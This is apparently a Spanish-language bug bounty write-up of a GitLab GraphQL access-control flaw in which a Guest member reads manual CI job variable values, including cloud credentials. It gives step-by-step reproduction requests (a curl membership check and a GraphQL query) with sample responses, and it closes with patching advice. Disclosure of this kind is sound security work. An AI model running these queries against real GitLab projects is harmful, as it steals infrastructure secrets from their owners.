GitLab CI/CD Variables Exposure via GraphQL: Bypass de Permisos desde Guest

๐Ÿ“… Fecha del reporte: 29 de marzo de 2026 ย |ย  Plataforma: GitLab ย |ย  Severidad: Alta

Resumen del Hallazgo

Durante una sesiรณn de bug bounty en GitLab, descubrรญ que la plataforma expone en texto plano los valores de variables de CI/CD definidas al ejecutar trabajos manuales. Cualquier miembro del proyecto, incluyendo usuarios con rol Guest, puede acceder a estos valores a travรฉs del campo GraphQL CiJob.manualVariables { value }.

Esto bypasa completamente el chequeo de permiso read_pipeline_variable que sรญ estรก correctamente aplicado al endpoint paralelo de variables manuales a nivel de pipeline.

Flujo del Ataque

El siguiente diagrama ilustra cรณmo un atacante con rol Guest puede extraer secretos de infraestructura con una รบnica peticiรณn HTTP. No se requiere fuerza bruta, condiciรณn de carrera ni herramienta especial.

Diagrama del flujo del ataque: GitLab CI/CD Variables Exposure via GraphQL - un usuario Guest obtiene secretos de infraestructura
Figura 1: Flujo del ataque. Un Guest con un token PAT vรกlido extrae variables secretas de CI/CD mediante una รบnica peticiรณn GraphQL.

Pasos para Reproducir

Precondiciรณn: El atacante tiene membresรญa Guest en un proyecto GitLab privado. Un Maintainer o Owner ejecutรณ previamente un trabajo CI manual pasando variables personalizadas.

Paso 1 โ€” Verificar membresรญa Guest

El atacante ya conoce el path del proyecto porque es miembro. Puede confirmar su nivel de acceso con:

# Prerequisite check - verify Guest membership
TARGET="https://gitlab.target.com"
PROJECT_PATH="owner/project"
GUEST_TOKEN="glpat-xxxxxxxxxxxxxxxxxxxx"

curl -s --header "PRIVATE-TOKEN: $GUEST_TOKEN" \
  "$TARGET/api/v4/projects/owner%2Fproject/members/all/self" \
  | python3 -m json.tool | grep access_level
# Expected output: "access_level": 10  (10 = Guest)

Paso 2 โ€” Consultar variables manuales vรญa GraphQL

Con un simple POST al endpoint GraphQL, el atacante solicita las variables del trabajo manual:

POST /api/graphql HTTP/1.1
Host: gitlab.target.com
PRIVATE-TOKEN: glpat-<guest-token>
Content-Type: application/json

{
  "query": "{ project(fullPath: \"owner/project\") { jobs { nodes { name manualJob manualVariables { nodes { key value } } } } } }"
}
HTTP

Paso 3 โ€” Recibir los secretos en texto plano

La respuesta del servidor devuelve los valores directamente, sin ofuscaciรณn ni restricciรณn:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "data": {
    "project": {
      "jobs": {
        "nodes": [
          {
            "name": "manual-deploy",
            "manualJob": true,
            "manualVariables": {
              "nodes": [
                { "key": "DEPLOY_ENV",           "value": "production" },
                { "key": "DEPLOY_SECRET_KEY",     "value": "ultra-secret-deploy-key-xyz789" },
                { "key": "AWS_SECRET_ACCESS_KEY", "value": "wJalrXUtnFEMI/K7MDENG/..." }
              ]
            }
          }
        ]
      }
    }
  }
}
JSON

4.2 Contraste: Variables a Nivel de Pipeline (Correctamente Protegidas)

El mismo usuario Guest consultando variables manuales a nivel de pipeline recibe null en el campo value, demostrando que la protecciรณn existe pero NO fue aplicada al objeto CiJob:

POST /api/graphql HTTP/1.1
PRIVATE-TOKEN: glpat-<guest-token>
Content-Type: application/json

{
  "query": "{ project(fullPath: \"owner/project\") { pipelines { nodes { manualVariables { nodes { key value } } } } } }"
}
HTTP

Respuesta del servidor:

{
  "nodes": [
    { "key": "PIPELINE_SECRET", "value": null }
  ]
}
JSON

Informaciรณn del Entorno

GitLab Version: 18.10.1 ย |ย  Ruby: 3.3.10 ย |ย  PostgreSQL: 16.11 ย |ย  Redis: 7.2.11 ย |ย  GitLab Shell: 14.47.0 ย |ย  Gitaly: 18.10.1

Impacto

Las variables definidas al ejecutar trabajos CI manuales frecuentemente contienen: claves de acceso y secretos de AWS/GCP/Azure, claves privadas SSH para acceso a servidores, credenciales de clรบsteres Kubernetes, contraseรฑas de bases de datos para entornos especรญficos, y tokens de despliegue para registros de paquetes.

Diagrama de impacto: tipos de credenciales que pueden quedar expuestas en variables CI/CD de GitLab
Figura 2: Tipos de credenciales frecuentemente expuestas en variables de trabajos CI manuales de GitLab.

Un Guest que obtenga estos valores puede autenticarse directamente contra la infraestructura objetivo, bypasando completamente las restricciones de rol de GitLab. El impacto no se limita a divulgaciรณn de informaciรณn โ€” dependiendo del contenido de las variables, es alcanzable un compromiso total de la infraestructura.

Conclusiรณn

Este hallazgo demuestra la importancia de aplicar controles de acceso de forma consistente en todas las capas de la API. Si administras proyectos GitLab con jobs manuales que reciben variables sensibles, actualiza a una versiรณn parcheada cuanto antes.

๐Ÿ” Regla de oro: Nunca asumas que un campo de API estรก protegido solo porque su equivalente en otro endpoint lo estรก. Siempre verifica los controles de acceso a nivel de cada resolver.


0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments